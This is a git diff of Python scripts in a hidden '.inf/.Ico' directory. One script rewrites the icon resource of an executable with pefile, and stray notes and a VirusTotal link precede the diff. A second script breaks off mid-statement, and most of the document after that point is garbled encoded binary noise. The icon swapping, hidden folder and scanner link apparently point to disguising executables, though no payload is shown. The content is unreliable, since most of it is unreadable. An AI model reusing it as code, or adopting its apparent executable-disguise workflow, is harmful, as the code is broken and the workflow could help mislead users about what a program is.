程序 args 处理 +141. 对于 需要写入的 进程进行回调来读取 edit + + +https://www.virustotal.com/ + diff --git a/.inf/.Ico/ico.py b/.inf/.Ico/ico.py index 4531e1c..134f0d2 100644 --- a/.inf/.Ico/ico.py +++ b/.inf/.Ico/ico.py @@ -1,56 +1,56 @@ -import pefile -import struct - -def replace_exe_icon(input_exe_path, input_ico_path, output_exe_path): - """ - 替换EXE文件的图标 - :param input_exe_path: 输入EXE文件路径 - :param input_ico_path: 输入ICO文件路径 - :param output_exe_path: 输出EXE文件路径 - """ - try: - # 1. 读取ICO文件 - with open(input_ico_path, 'rb') as f: - ico_data = f.read() - - # 2. 解析PE文件 - pe = pefile.PE(input_exe_path) - - # 3. 定位资源段 - resource_section = None - for section in pe.sections: - if b'.rsrc' in section.Name: - resource_section = section - break - - if not resource_section: - raise ValueError("未找到资源段(.rsrc)") - - # 4. 查找图标资源目录 - resource_dir = pe.DIRECTORY_ENTRY_RESOURCE - icon_group = None - for entry in resource_dir.entries: - if entry.id == 3: # RT_ICON - icon_group = entry - break - - if not icon_group: - raise ValueError("未找到图标资源目录") - - # 5. 计算资源段内偏移量 - icon_offset = icon_group.directory.entries[0].data.struct.OffsetToData - icon_rva = resource_section.VirtualAddress + icon_offset - resource_section.PointerToRawData - - # 6. 替换图标数据 - pe.set_bytes_at_rva(icon_rva, ico_data) - - # 7. 保存修改后的文件 - pe.write(output_exe_path) - pe.close() - - print(f"图标替换成功,输出文件: {output_exe_path}") - - except Exception as e: - print(f"错误: {str(e)}") - +import pefile +import struct + +def replace_exe_icon(input_exe_path, input_ico_path, output_exe_path): + """ + 替换EXE文件的图标 + :param input_exe_path: 输入EXE文件路径 + :param input_ico_path: 输入ICO文件路径 + :param output_exe_path: 输出EXE文件路径 + """ + try: + # 1. 读取ICO文件 + with open(input_ico_path, 'rb') as f: + ico_data = f.read() + + # 2. 解析PE文件 + pe = pefile.PE(input_exe_path) + + # 3. 定位资源段 + resource_section = None + for section in pe.sections: + if b'.rsrc' in section.Name: + resource_section = section + break + + if not resource_section: + raise ValueError("未找到资源段(.rsrc)") + + # 4. 查找图标资源目录 + resource_dir = pe.DIRECTORY_ENTRY_RESOURCE + icon_group = None + for entry in resource_dir.entries: + if entry.id == 3: # RT_ICON + icon_group = entry + break + + if not icon_group: + raise ValueError("未找到图标资源目录") + + # 5. 计算资源段内偏移量 + icon_offset = icon_group.directory.entries[0].data.struct.OffsetToData + icon_rva = resource_section.VirtualAddress + icon_offset - resource_section.PointerToRawData + + # 6. 替换图标数据 + pe.set_bytes_at_rva(icon_rva, ico_data) + + # 7. 保存修改后的文件 + pe.write(output_exe_path) + pe.close() + + print(f"图标替换成功,输出文件: {output_exe_path}") + + except Exception as e: + print(f"错误: {str(e)}") + replace_exe_icon("./main.exe", r"C:\Users\Lenovo\Desktop\Termination4\icon.ico", "./o.exe") \ No newline at end of file diff --git a/.inf/.Ico/ico2.py b/.inf/.Ico/ico2.py index d0e991f..89f9a3a 100644 --- a/.inf/.Ico/ico2.py +++ b/.inf/.Ico/ico2.py @@ -1,73 +1,73 @@ -import win32api -import win32con -import struct - -def parse_ico(ico_data): - reserved, type_ico, count = struct.unpack('}+gWeofQD>z#EAmn~cFcV1oZYzi!ME?MUETsYf#{qjZilg5l0 zRcwQRxS8I!bC);gN7UDNIm;v|1g@{{o|30v>e zw308$&p!w#h4`1eBx{ntzQs@2wvzt@A?bU1yCj{ORy%3YLjOXE3#>LC>GrKWX+IZD zO=_|V?mn6q_wfk*LOf|d7i68(Xq8iaZ0F?&o_l!Gel983VwKAioO*er+|PN^el96@ zb#t?1wF&L^N$iWiR>5zH1y9i$nrk^czZqKACGh-96+9t{rqOBX?*l54`p>2M+uT$~ zjvBM%*!?M0L`5j)n$%RkbU6iEB}a%T@HR_g@aNLB>4T~NyJK7Q@h+{QVUj-HVvh1{ z@gG3&hGg1(nfp@rCGI(wTz2VfBlzyzdLxoGp$wWBk;WV&a^eZ_iV>MMVZWyJjnl_# zMn#t%`ZMo0#ZW7W7t7lZ82Vq%3cOua{+M)nC*Fd~`}ZujR^mA7w};VR#j=#8D+q-nlLwvRfIF_-ec&!k|X zhgj^9n-+iU~D))jdbk(D2?#D!+;`0)T zgi4#9;;FIAXd^X%n`R(V4M68Io*+qZDtEd%w4K>57%f~>c!k70+KMNoGk;-eJxM60*t^#1}Cu8MR zb`!64}!~#NY2`^wvzNzC7SD>T0GMj@~s>M9Bsw>yOkFHLN)@8q)t0bS0V* z7$4jy1Ao*F$9N*^1_bT?s_-_Kes`DEKiY}|(VV>ZX-)G)7#q<4Hq|$&9-k-(wlpf- ze+e3qqs{ze`uoZBVg`U}>*9b1-r>76EjR@%3_y_f0zWt|q%n5;~0J57}u}oM7J`;9}@BJ*1*aQnEV$}k$N4OhRl~h);AGHi}_;je40qKwIN0&=#J$3C)9hX5ZgZFef(qrHuwWiFx292C_!^+ zTLxdLSYpCy|C9EJ8ZJUtL^X{6(;N3_!r(RR8?x^w1&1c zeV6E^cZbjyMzjWf=E^b5!k8o(!`G9YOe?RnAQUOAyi*`%m>t1^guf!Z&F?gOf^mlt zJ)zSm?J=VM&H>?{#5g0^mt$0X6!?U$FQeB2^opzEuQLeHue_cA(%^fdE{ECSGutl+ zPVLkJ2l{?H^nE1zrtQMd{t-|gz15xFKw9`Uz7XJT725f=3+wSr)#u)=DFg>BOJhE5YPDC8+qw|IZ=xG$NTI zP8rZOxJC8*JsW_nPpsbm4f8WgZ6Q<4#Xaf#L0OC@Q(>B|VV7p3%*FM`V3(lpM9)Z|1i&ha{WN$R)KtmY1OI4E1=pZas6HSNLuj|YwpX8#j#V6nA^IbHNoa3I5o z_<#_ZQ#{4J(M3fy8+&w5yODX~-zaXFGjqJ=9>biSpD0{O6Nvi5iNbG5W6?2njE>nE z^DFUmp*7Hs3trMr#bz{piU;{Vb5hA<-?85iEEhub7pnI+S? z%AB2pwCmw#nM9D>JYQt;_W|vT)(;pJpEj+GU#u8f3m(bQL*pqFJd&@6R}gXQkBn>x zx33ssfLJ2oD{c2Vde*$wF1VOg1A!uAnk+2!4YdM#n%0WmyJHS5Yv10uH&tMW$FiG$7rRhCgH$b#KfWYT&x;G^sFvda(z}uE_qli%ddNqlp;p2(aWuaoxt(BQsr_7Azoehm+r>L%o)#)?e zk<8e;*I0ddHhvDo8MN=+k&%qm81LUH%V^P5?(Q#;>l@0rFe-ZV4S%2*gT{hMzvCAK z_MrWZN!~JZ?Lk{fd+`~ncdZnID;^#hvY0{|8O{_(!4#BQeIabwy3%VyU7(;sh$JhV zB2W)N5XK)-VN9#6Jm2ZRCE}QdQQEGr6|tVi zu(scDQa1C$dBK6)8yBF&cZ1#V`D|J?<@_u3+x7x%8cf>mKYQAV0w%nPobsKUWVB<2 zpaBUnrlp+Hl|Ln-UM6}`MXXoEQcLkG6@}wtFV`n4Zni4=>(z@yZ{JfgPf-r_qs1Pw z%lR9GTyB*~nfsIWRTADEcDcYqo2C0!BR7&6zX_5I^4~^z8(%DWYW|;w;J4~`x9bnL zD-~naR!vt(?WvR$e5`!c=aVGAcu2nLQZD(ir4)&eR4-d;Ns~n@lfl?X26LU+vF0^i zIoBMPkWdY_0VsDuHUvn+E-&+s>U|Z4tUkaX({ke3LcRDxAvF{hlvg8 zyn^Y@rS(tGLTi7QyuLTpxXE~{cOcF$iSN60fDuLs*HAWXjCS#&@AoPGu*M^Nwg9|K z_{Zjh2kiR((-e~x@ZRQy__f4S^=&4KUy^D?jpg-JkGoTOs*m#|?~GKQB5M_SvHRhP zxU_(L*?xx-g!rO%Stwt(L#TXWF$p8Q*MAmHg$GsEw1ot1ktsjf`X1y>r03A3nb@gwXqC6fINoZ&XNQC(L8GzD5)^c2lt zsI~9rBFO7OWw>G&UMRhJaj>#8TtVAYZ z`;_4<=^N9~<~4f+v*WP?BaRAa;LZ>9Rg-gy*L3B_{AT56J{_V<{_(X_4$-P(tRgXUXf%j*>zYG$rZ~S%`{z1kbdZZLfvK!0u#&X*l)D#ZEX&w&Q5f|9&nQ8YS3zpGuzuTkfwSdadQF`|K? zo959UaTTa_WS)6J)T0&oqQ0JzLH*&0xbl1~5Gy*Haxx7TSlgRMixKXt=n1^eVk#vs z=Cd)a7HR|sa&9~dV*WZPE+70t{(|zo1}h+&`|Wk1QMVX8o>+5>rkq7DH>|k@ECbIq z1aBFk`JdJwsVXS%H=^^iix|wb@vsai!#pAjfFCaqKJfpN(j#okr=qLr<-YZU_{09k zfr*ge9LSXKtD8QRMTOgPQVr6n!M&zM5cr@eV|^z3(? z>hxo-Zu9@m5H?_Fjf&1djG)O@C*{ExIWZS}&{h!iT#KNyA?QmsK}X^Wp)9Pc==ovf z);6RFa=r~^FA&OZ^S>-aF1R2%C!?q;>P}o3&1#($oztmE>xo=|vEPGuH063Sr|0-8 z+F8s7J3(k?U_Z^;@O_TmeWOHADVi4`W@45HMn-D#&~Yz@x2=9tM6cShTPh4HfQxFd zj`NW-%*LXou}Mk0i3`JE`C4@nHkboSnOkCByQF62B>i`HTS>&Xo69$d@OoQN!kTx4FA~TWpUL zxGz=g)@St^bvwJVj!~6qLs;9YVQ!~F`8Lpu{ejW~+{S_STX3V{T5y{<%<*)%p@q3a zXz-D~oU|C=H898i#OlEJ>6_8leH1WRw*w1peg#VkL8?qT?DJ5x#K)@|MP`pV9~V%`B!yy&;yd@6BQ*STyJ4_M zBv$8k`oG&v8)C+k?=0WecTZ~mC~q&{8DB{uTi>gN?dB~Y7jGc9ZDXdYV{bILAjP}* zpL*$kf0rvT%8h)uD_kY3#(5)J>s!vic=Sv0y1aaO5o~w3O;@pKZct0wBb~x3Q)1^X zq+iU1Q@&U-UB4vV5%xS`P&(gyp`sJInok>ass#Krebx)%c3v^nY|*_3D-P%z-Y47L z?aHGQ2~V^kA%3G1;IQ(3cW|pC)qnkwIRVzKz!8Zki@kffG7Z-Mfa<}R!x!}nNDgl*Doa+q=GOl)i}iOVMDcGI7QdiY z92kSu0ywU^93FFD=>cq!4dQ@{ROX>-&DnY3_Ek=6-p5;Ub5faZjVv$=nj#Lb+zAj1UFqJ^K0)s~}b62qaSofh0nR5K28-h1EH9g#$A%3PS^4t|$+;$B(zPb#=uUt8_LLn;}e8_-tXe~8NB*Xl8!VJFPH`RS*u z-5ERiv)X~jXdu{L=3a+_Je+$2cFm4zb6?*t+hlKe{rTYOGxvGScYs~m z$t|g6+X|dg@k98d&D{#Q<#pfE_ulv8_HhbLS#@dIWp*h^aeU8A<6m@jD z5@kk3ufI^qL6=rWW`>;^IKWn8b#zgl!&mV(>mx?KD!g~q1z-i{?$RwD^NKvlnZnq$ z3t!~8gMBD5$$f9dIFH#gK^uXSK=x$x(5IA;L1x}z{v*-QCZnf^o}u^duB_rSyy#bl zQE{lr*=O;OQD^Ciq@v`V-{--dW(41N2rL&{!$~FkvYT1c3GjcgVi@P&5_=2njgIXT z=C$V=^mSKOzB8qH)8+h36nDDPekDy`TcUn<5?~76a0j?OZwhKck8ex2PFLMhJ|8sI z#y|Z2_rLe*f9{1{PIC0dk3%!1@bj5(K@t~w6Ty?ZPSJ+(xRQ1cD&o+d_-Rx~wlCun zUd&tQ9XOMr(AWQtl#GBqBzpMNG_r>yyj7ZLvKnt`qRh(-7(ba8tY-&Rq`rOuS;O>I zYW~O^7@|*Cza@hbKSR|3Pp|nI>@D2BVS=nkuS5;`>MHYO?ZAX4F5~qYh2f;&k)v*y zS7ml8e*Xfq;|;c$y>O7(@$CAKvG^m6-^pdYVz$HZ?*4Y&UtHP=w?};$jx_lejyJap zdyCwyK7fuE4O#8j8vj0cCb>6$i6pSQ&3*Bwa89SjXP7>lBKoWhlh14JU?L12zFH3* zHxg6f@NzxW3*Cc&pVbz=SD!R>E zKGUna)0Ex3kMUIjLH0>3jki%JRV@zXZW-D&ZzK+h>-ckz8TXiV(ty6<_e$bE1L~0d z&8`v1H%@(a)=CG=&U33i)1&90Z#EdP=ON6PN*0GAjz=NjdOvDK*8Qzz!WQ*C4G7F?aC2p@40feg>$POm{GY zra)5-Lu|NE53WDId>D&T!*~~zkzpK=Vf3XBOIeFln(E2cBx!WHh)F2xQoDhn%^S&7N}8PH!}zuE?~?wg>HVe?0q z%TcC>UZz}CbXh{!;novjgLr`dY-UZe>3W~=o*Bm@f*R1*-zHpUZgX#zxexr@9r3IN zx4x{?+wqz;`Bg`=%H6@&^8JNIbVj~Dc7)7)$ED;mO&?hEUysaxuc`U3m-)|d9JnCr z`{Ml9^JViN`h*oBXCaPZPQpHY98HieId^oCVQUbJdK#TpVw9xT2bAzYo#>1VOA5MX zILi7iP2p=*tAlF*9I5_{(O}yu`h*CW`Hbj^VdP&9K;%r3f5TFto&{at8Wr7o@I0ID z)Wwk;|25^s#1V5w4=v=SVnVms?%pgD5zJbx|G5)(^>)Ng@;KTn28QzOOCO}!TES1R z_7_+3Vo+YTHZcq_cPtzlJ=K%P*Ig=}CDB9ZN@T+@=#%YyS8Gw1qv7TJORq z@b1gS>Riwpq8-&#lcF!{sWb~De2$KOz16O&Y)PPUfEjGXDhM(*0+fJ8+sf4zQZcaRgs;1n}Ef=9U+hwdb!idy8Df zZx)}h-aiH_4ILbsAaavrs3H=cbwwg$QY14zl8iz9BsKiaBI4n(>=#C=K4a~86Kne8 zN!dUGl@=3Mp!_%NMmsW%oyh9KBPGGIA*uc?2iw?Q)GLiH)M!h zgkz+o$vl9;L{>2{)co!R@QC!5Y&tR0u<8u;}Z9!){>dg!cxFd7F<#AFFo`e`09^bRMdd+ANnupPF-bz z*JKrMFLCPLRbuChRt+R~h*3o19s4kL*#(wULiQ_I*kcroaD0V70`2Snj+$SG`6JTY z5%{Y*V}HLeZ5E_fV7t%!*f8If(;Zh`ndYx~X%p@x&hx!53&StIPwr+n1J8(7_xqyN z1MZEiv+!l*$6oOY=Bvu}M=t4aFlQH;l?Cy`!oW#;R_qA{|JRH&7{pg7T>!0S7xnFE zNbRS&BknvLJ|@;mx6i~Fz@9uH#!v;mlkZ9-a#6mgw7sHN-%x^=z0!pGW@Vlpx{qSv z_SNsEkG}|FjC_Wmzl+_=`RJVBewY8)l;O0QfgY4!>~H8(NbxoM6>}Z2mQGWthdX8c zL%>Rhum5AjrZORJ^ioHtU9alFb8ryYG2tH^5&j$cD|7SxyHzj!JC<~d&YyM(zZ)?o zXF54crZ!V!zovZOU)oZ1>UZZtplMLQ!5v&7b4R&IMYJYEtzR~gNEr4aMxDIb%P_{r zkgL`ek;;5XaU6~31jY%GD)TMJ#RB0a7qi`-*gkYZ-^mQU2U+;4e*8zDtTXb}vOz$; zkOqc&GVY6^i3~T*RCMamYe<&%%A)$u#K?4;?vy`Bl?PK9ml|F}=tG^da@E5N`M>q8 z5qh|V_X_2_H2Zd(!XxF6Tm6>kyHhARlpkbR#r+a{{T;|LiT76jBwxlU_9Xd=IQoXU zG$;hp!?TEqvuxKF;5i1MT$&Y_f)fM|9<{*x@mH-zLO_QPXh%FVu{vr0PiP~n{q+7Q zJSr6)Y5j@+OjMT;Zq-dfGz3Km7vIGw4f1CoPbdv>*Zq}NlG^>4R6Dl65~X$!wCEl5 zj1ddQGU9(Aj2a1ZW}f(F-UDub7q8zCHu$GK-!mS_Qh!%YV1lswB~($8>LX&$4VO|r zK9#iak<~AXZa7`C#m-dxB>dHiLKdn%26m7<{va>S-b1^kTWCj4m)&Uys_kkYZ@9FjE*DU@|3cSXUsJJ)Rg8*8>FygTdoW2d@byrSAyfx)(_f)i_(jqhS*cQ=6bxJd452~rO zw_?X;5j&5$L!X7){3R$A>!XvbyaC0~!z-NPea$&WI6Ank%B;+ZT^@t#=Q|vgc@$vw zKz_s>8NXWej-}mRp&zL{wD@q)34%ZYJJn`@3EGWHyEN(iUs0UOYZFc)gx`vzds&5 zNRYw)El#JuzU~0s(nCA#&drqpaH*kS6kOuNoo|go>zh{R=6g6WF?Vnn^iUUd@mWuh z6`MOa@UN9~BeV0}6}_u#(0?I;4+nF8R1Mcb_$l@q+&O)En!Y<3%F&PH{sa39p#T0@ z3;o5Z@nk1+W$?OuTz)$&V6n}}p_J`RFPplb!`KN!TWlRa0dBVFG-OQUS*d&lSFy;q z;uhR%)8S%)eCT1XZE9@Sd9qyf6f0s(RRfltS@b+|V)xm$BD8=w6p03wkeWU#t#2R075Dqz3ot${OLE zFLJxR5zC|x4qglLsz}UhcDSP#JL2at6ijide{1_uQ-cu8-(y2G1=9lMNM#5F zPQL^;(X+rqgEScEe^QbQB>tCbMl$Pxp zF-d3>&jT$1tlJK)L3*-Ie~}tg&vQR2YL#O8`X3PiAV=lh`s3~1(!(>NCyWa3G`Cmj z7e2XWztWdS9CW|e9o%!oSh7w)oA?B=5IOFRAF8=M4(>i3Q#R8doSAk z%_{Tds?w*}UCgM`AAh5&;w63krHo`%=}Y}jjL<_(YE)!Pi`R zco&h>Wd9?!ZH0p7ODOl?wz;veWGGXyggG|D|1C>HS@Nsq_d2UYn*1uSy3d|x^+zh5 z4e0Vo9DUZqw+R=pb2&+^3UI{*4^Q$h3Lc*5e~~t0#{x@cXipkSnF{`(UG`QQel@W- zIj87x)LBzbe9g=pA+R+OSUZ&Q*HK>ZmCVz-@r=c9vG^=$kIL@rq}Wk3lDw=I0!OQT zWnTqpAucwjCEso}Gb$4!g{QKEu8?y7Jy_0?my|syBz6Kfb{6G^=sWrouT9lcOtgW5 zis`v!phP@=63R}sCxR0{tWvF%QcSlYlXN@-t74FKQtfTo$GhWG@I^0Aq$Dz|ubo0Y zRDm!$-n)1S`APn^O~=Os@`L>6=A^blNokn)&&V3$?;WyVzUJNgLCuIfP%KK=V|HQO zn9q96=VHHgiwQouLI0qgt)^!@ktu85)@tRP4JUQ=(Pz zhf#9B3k2Krhi5pZen$`OV=kR~mLA@X<wZu$RyLIp{iB+Qk7VhgUlS8%3ZDub17)w4U(~K<*RjwY838A(JAp!+0*ZRv zSf(TNho?J|<4sfToh z%BLKGTuqD%tYkCEw1EzrQ^8NOIm*l;vNL!%z{;0gIStV$Mw*7z*LRgAZ$cHTo2ib+ zYr$&`Cw^MNW3as+Nk8kVrI`%>F;-)zOP>CZ4rz`vUOi&sG{$-nLBo6{9)o(Vs~k)9 z(A`*gR!gGD2V3f=M{Lz(C}?XZQp$*2Nt@ZfWt+f=2H5@G3*6n2P_ZB*B;AFJ-Kgso zebe*ZRHydPt>3*O&3@uD`{KVBNuy^$dXY8Q+*+E04LRsjjS_nzC)ndeb++8ka6S*N zk$K#_%jKjh#(_tFd>1l~FV%T|^n|0`YY_9qY7PPJb?5eY%#K5QJh>em@$sJAJ?_7M zp1=|+ebU|0$6b_JvQ@+W-MVcOk>f&o=uavt2Y7PD!x1u|Tf>@n66dKg@tNCV^V#`{ zKLT|SIO!^_4N~T|*N`?wSd?k4U8PU)oAiPc0kyG-uTuZN(Hb(D9xeTL4bdM$4G0kr zK^Zty51kE2HvO~p@au590)7b#Ma8z?vxmztpQlb0caN&6CXhD@9N`U(>H_a7fYS{zBClRr|Wq8@fMBPPlRL?iE(2 zstwheYUmqM`W`iezXe)q2$2~Xi9e(ow`3ck4vQ-RaW=P$7$176%IwJ9?p9YXR(HIE z=x%qjy?J1@yJCmF?#IC7x}ViF4LXH+OIRDM7?Ia1T7n%qw1AYKK#$o&9Z+@kyE}4w z_|KigHtrLU(36XRKT3q1WTkPVh4G8=E~|5ZvErAZ@3X>X<69{sw+T^4!^wQw7ie`a zy^sHxdg&D)*9%`ouIr?N+}|HsK@ZFB-B(q*^Z=F0r2w^@w(^<;Ww@lTP1QGigD9G@ zbCUyR_pmFnE9TgaBKzz-S$kOBh5I*%A@~lO0kJ{1wouD*Zkh*02ISm+_<0tp?#=L_ z7T-=(^m$PQLupM?qR;od2$a(q)+8B!ei4Suw%BVgk$(r!l^T~BM|f03@J4y_Cp4*& zG=XhP+Im_LhC!9dD>c8zS6G=D*7T?LJ*^kDykOC{F{7PYRlV`cz`^2y_(Y<%$jZ{t z9B6$iLzpA}Cs<7ulHvD-dg1m>*<|QdJFNTFkF>`F(nmDpIAz^N3*AoUMnVRFTn7 z+GFVEF}6LXufL^VDkk;w3luf#xv+?)E+bwlJ$RV?&cCC)(F5!YTl8^(#ij}5 z#b%*<)exb(;y)z2fsTEMS`%GUsgyX%=+OM)mGKAg&;TtnMeR%*+CiGLUP#AjCi!BI z^@1}F_AHd9E8Xe?9Px)Kf@dMgAZysGu;uL0-4I7MFD*oW`yCLyouduO^TxwNbw8_o zZ}9N(tDI_?EyiQo`q0tNycMlEwqpCrk73nnCxc(aCQp`f!)>weGdtw~wfQ2hn&Vdm z6qxdU%g&;Hm(&;M%}01u@&o{bKh76*Wv#2p3hng!@Z&Q_w+}8d(%RP_9xJ zerRXl1A`NanT9Fn(rr(m^2e9=_x;kcd)xb7POEQO3uaHm``NDjEDbu0sPP#gUld_g zpugbCikqO6TAvSDZ*Uf|ygkyyzSdJXQ!Bn-px<#SGR^wZh+fW?>XM@JoxZvkIM|kP zL3HXkuj8G_$f`(2)WD_De&|C4WTM-A!p+(DtK4Qc{w1#&Lln9Ekn$(FBY3Lwy}^zw zj^$;sYt!v>9PpZ5a%_)71MfrGUiqE@-VD?Anb8qm8c(%E#Dl&@0_j*WlFTPZt z`C9DHr&zY)DzedZcXI~50P&m1@NmjJ z&74mWIjw!jg=HAX1BN&FPL{9Y`KEUj1iMQwBX3xarrcBO``vKvZEG7cUTfanNY62v z#p4utwAe}DW3^bO!iS2d5LTN{RYh_k3P%$;x9KaMf@_MYwg9L}~rhmwIbkFgeAY4q_#Y-#Jv@|c%@#vXg~y9Prm zhd4<{e_4r4?~&m%Iu2*J&1bo-9_cHv=UEw_D%nJs4bl;#z+)b9v#rL7+Bd7~y3N@I z9s9GV>yLSYMZp8(*%dHxnCwYI{n2kwjqe&L%){+il@HLO>I~yNR}YUCxRnJ$mo~_2 zMDJ21hC;ak#stb-*5}(4qy|G@)!Cr0YFChi*YIb3Pfqt^VMJ#p)@;YfIPai-+O~uG zyfNqb0L;PSj<=jf?g9067*FY|;cY-!)~ ziFK?hkj8=dj6nQ^e91kiPdp&`4f?lx=#Nid8${`w&zK;__CUv51&)Kv{#V_qp4gwFAgc=xgr=DkNHe7=NY5 z!F7kUS7KU$OAZPxv=p$)I29(N;^->AE? zK%v`(T_XBG9r2De9LsoHtYR@wlJ^~5?$T~yoOq9_kX-f&Qk1Mok|Er`Vw_UlWYkCl zxclc6*UFfPHu#gQ{E3&cK%hjUlsL2-IxY?-@K$^mo(v|k^$o8g!R|F%{zXuZ75nKS z)}Q*1gp1p#5lmpDjRcgG4Sf?&Gox~kz~UE7;9>ZL^1(!=9)24HX|ODlMn$F<(N+s0 zNFZFHWCG98y;PK8{!t#qMe=`!QR0bMFNET924lSELxQq{{pv7WHci#*UP>5gn{Suu}nnU}HchFG&l z_rXpv7l=P8&80)HK_~?D3P986=V+{#ob5L}pg&xLm)4dyN`25S3b5>;TR*K+R7&sp z3i+O3N2Ym)YCiUa7+?^9ojpo2sN&vOw-p#-TTU_R;FEKw7w8-QqOuC_Mr2^rMKTP8 zhPXL|R>0@`2kXd7&EO#a@!8J3(P3jb&<>|VMs}DT(TqxCh-1$j^GJ3#V_Hrzeo3>9{M%~^oO}LiklCm*?OeH|28A& zj^6B$>Q1V!8!KImKPCXgPj7eh8F1(k97L%FmlpdR@dcvZQuY(%5>b|4@PjNR(W3j6 zMEgc5_8%hAC-d@g`oqn4S-G?+m;h-dOMdYiu$?UlYHkEuEsBv(pebs1j3^r4MrqLy>z(*Uq^Jf*UULLZy4<;0#qn#HJ)}2}jIoqKQcYi2N&2hQG%6b5&90O(Xj?ID zI`p+q!m$ndWn-pFw$g)@3?dy{1bMVUd7|yPG`TKBZc+?<6-L3z8_@I5R*@;HO;lG0 zMaw8^RvA1-m6K=0O_Y5ArAmAP2#7k?WcRI4^$P!N6QQn}##o8nfwtKSV-;U9xQ)w<=16Dlm5 zLl3>4xMs@Wq0hbq|Ht)+REr3kBU}OhZ>>7{x zwvU_^U&JCTYl8|sl#lQUE!P*JFq5qAiJo6BXx7NE%&l6N;bnG^1?k-M^N}fq^g1gC zOW}ZCiMk!wCR3Hn!*b}?sCZTnT`Lhj;q|a8Ou6`6a>Oo=jiYn$Cf|pPKR`c{>s3*; z>r$YF4VQo{O_V8ndP?j%UJA-or~ZMsoIrYL3^sXoBD)X#6KT+|3GJRG)>NP*DHV>CepBB--(D4W?-@DU8S4!mO0>|oeB9%pW zGtT0z`lM3FzAVsl`OMw%v(kv3w!ZgPe58kD|BEu!(JSx>)}-vCB&WF7jf=~Hav4Vv zdKt5=hz8SRRS0!kXKC_AMu>By?gE)|?y1rro3p0K9XvQbzCfuU(dZ1N)#<^>{!>n_ z4Od|Cc^@e|M$HWjb{f9coPg|L8Y#1Ar<_oJ6?hDvyj;vx7_#oTjx5$L_EKP*Zf+Ah zV{kD-(c05RNm}M_{CM#LqZhG(M4x>It|{#-Ws~LRQ7$zp_z@li2B-N$ioH1>*dZ!$ zZtOW09!ktD`!Mz!B+sr^3X%rl~ek;}Fr_^hy*i=3>H6>?< ze{mZ`*}p;u!Q*91{1!{46g`A_(?~J{+{|8xDb{17vJ`o3*mE3tH8yL@cjXG=~q&#G=@60Mk4$x}U4CZtq}`HW7o@S|nkU=dpfCt!-sRD(hQW z7g;5$xN7r+H1rq^u@KvZWhb7ZPJQiO_K>jOp0td#r);YhLm#88DN86PdatGcAz61d z>12n2Ha7kz7*fV}k(#5JtA8FC83A<$P{3Fa(5}~ z8M7OuDyD-nD=;S5qF7Yy>YJIIPu%Nnkr|%JUFmyo@Cirk9;n;pSpY!s6a?8h`aSbsZ)m%8IZOk7*$ov3pEK_fpF9HtM zR9hk>Vu0tmAv&~iIT?C;a*h8PS+wZq%HnkevxmO^Ty$L!j$n6NRx(6uq++9}$apa? zE&ejtX_Jq$%tYBLrQp>KX4`RFY_18ijt9$BO-Y5#E&=oVx;`(f1b!u1! znRFOMWieBHv)XnQ$xGv$b#zE^&QP9_{neEJRZwUV;a%UR1bbfgPbVu6%@_&Ye-|Bu z4pH8>7IOZlWnKIS9C-)c5R)f95}8MRv|H+971x@eYG)FC{q}2luZI`$f9rm%_bZ6R z=TZtlYNc0@6bh;=qQhFmCEk2bYr*{+NV78UUik&?*FB8<_ncw=Ol?_k;)Ryr;pT?K$( zw3uU}9A>zqA9PE1s2T4LwU*{!#P4hCn&^!NCK1>QOXr> z5I9&5hhB_tMUs;6tqE>FBr0zY-dx1mtlc&v<4==0Yzxf#%MiZ0c?IS!j&F5*n(eOG zyZSh;K`FmHVG#}68wB$GR5mS*y1nL$e4*=S?AG{yrUl;~?{D!$M(}0c=%rciT`^z9 zPCfW*YPlbE^1s2!fzr>uV*ZO{aF3A9YxWO2vv%z>4|5E}oWWK6>7QAUnqKji?&V8* zKjV7}EP~qor!yU9^-W0GyHvbH)> z_xY+!caex!XcX_*Qj=ZaA@*wBMW|>uo3(ju{6z@1Vvp-PEp7f5WP+VeUNn!hzaads zBu0FsKdL!8`F7hdf)7ht-wTgq7vG4n^o&{!Y=dU>b6SwkD4x!zGEKH)Q~E%uy~M6a z_D44`*9k*;lD3 zTA~VS#;+EVMo*kaX5S;p@sjWJU@K~Cv&-#zd|ys|W3rW86lk^^;Os7ai`Pjk1w*pF zD_Iogi>yg|!J?n}Be8aL(KprHqqYZky%n9ob_AUcpDI{wL@^|oBsJrtj+h~91E3xooVHXz znsal^#ytNY3_drc`d|%&n)hvZ{Lzbp*J;{tu#xNsa8u%3@UdBsbGze6CP%I^`5vLM z=7{V*>uawQB5odReg|I*e=5Za}D8F=*!~Xe|~U9PVOqsK5U&5Z(}}7(o1IE z5{M<|8C91d)?7cVH0_uCpJCKtrwGxY5`U1z&vz-T?|(w8A5g%e{)AU=PL98v|0wfB z=5fYhTQ$c^>-d~nnt1%%s5|1}JO~%?eGZQL68GX_#UA#urR%PEa`itsqFs$ad|Xw< zyu4K>dF!^wv@SPZO_rxs=DY&yTbO0?IbHaX^=potgq$erA}1#)WU_a~o|o>*y_I(V zvtntuVElY9=9d@qD`k4!s0;xq|2KF^4B?3~_d7Xxk=(CT{Z;HXo#_K^J-OLphDluS z4NjX+3jbN*7(#y?AIrSs+sO6YBK3*b;8ulYtKyMJ_FvGfkoBb{iUW*NHq4G7Vx8Ic z*xyjOsf41jJvdYZ@y7u-8F0aA{Y|Qsnw-GTl8pQ@S&70KH&IkEG9N3m+KJX+=@wSe zR^Q{Owjt*ogjecT6!_|{g^EvmxlCN~!Ajj@a&_eyU)={BATsI(IH3@oKaGpUSLNyV zcDOTV<;2!X*VXM7J#-aZYD62E6gZVoaGO!_Li0jQ?QWc;yg1a$A9-LSFvH7%l&Jdz zKD5+4UB12KKc!m=P}Pm{>}@{dE9M8gRIoj#+a+sy76QFZ?{KNQ$Qzxw$y*WEgImb0 zjy8}n<2V_4uJO%`PJKWY7J%-?!gT9De8N|HpsJh?FUO9v(CO+MBlCq!JwR!`sVZ`u zoT6bRE-joE-n)8aUp`-t@{eZnGuQ`V%nv9A=XAzb9fe7LFIH~r zKg(Cd_OaP4PUwzLVMEs2{~&HeCSP(5LAXC~V*C{{(z;?qChhpt;9D_gGEMhyVLnmL z(8IA^N@AW6#=BWug1^Sv*zu|V`z)KNLyf>QYA%YM!vQrb$A5Kj+7*qkX5hc!>)VMX z3Lj!#>-)_h6~(s{Ej;CP<;OMdi4@!#+XQ6$&rXD8-WYQJn!h@Q$22IPeB@N+DWU$$dWhePx5{w|{(aTE}uQ)5Aq-QX2CvsYKy1U>6@j zj#cT;(iME1fc&QA1^m9)^ycJa1dKVOz_8f5?=O6$`15)w$*=r9`(u!;k{a^YwwxSm 